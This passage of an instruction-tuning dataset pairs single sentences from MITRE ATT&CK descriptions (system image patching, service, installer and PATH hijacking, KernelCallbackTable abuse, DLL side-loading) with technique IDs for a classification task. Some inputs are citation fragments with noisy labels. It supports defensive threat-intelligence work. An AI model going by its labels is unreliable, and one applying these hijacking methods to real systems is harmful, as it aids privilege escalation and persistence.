Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the second method for changing the operating system in memory, the adversary would make use of the boot loader. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001),", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the binaries used by services. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These service processes may automatically execute specific binaries as part of their functionality or to perform other actions.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FinFisher exposed )", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FinFisher exposed ) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code>", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>).", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PEB is then updated with the new address of the table.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PEB is then updated with the new address of the table. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the tampered function is invoked, the malicious payload will be triggered.(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the tampered function is invoked, the malicious payload will be triggered.(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lazarus APT January 2022)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lazarus APT January 2022) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The tampered function is typically invoked using a Windows message.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The tampered function is typically invoked using a Windows message. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation:", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lazarus APT January 2022)", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lazarus APT January 2022) ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", "output": "T1574.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process. ### Response: T1574.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExpressVPN PATH env Windows 2021)", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExpressVPN PATH env Windows 2021) ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly modify the $PATH variable specifying the directories to be searched.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the $PATH variable specifying the directories to be searched. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify the `$PATH` variable to point to a directory they have write access.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify the `$PATH` variable to point to a directory they have write access. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS, this can also be performed through modifying the $HOME variable.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS, this can also be performed through modifying the $HOME variable. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation:", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These processes may automatically execute specific binaries as part of their functionality or to perform other actions.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These processes may automatically execute specific binaries as part of their functionality or to perform other actions. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002).", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "output": "T1574.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Response: T1574.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by side-loading DLLs.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by side-loading DLLs. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately 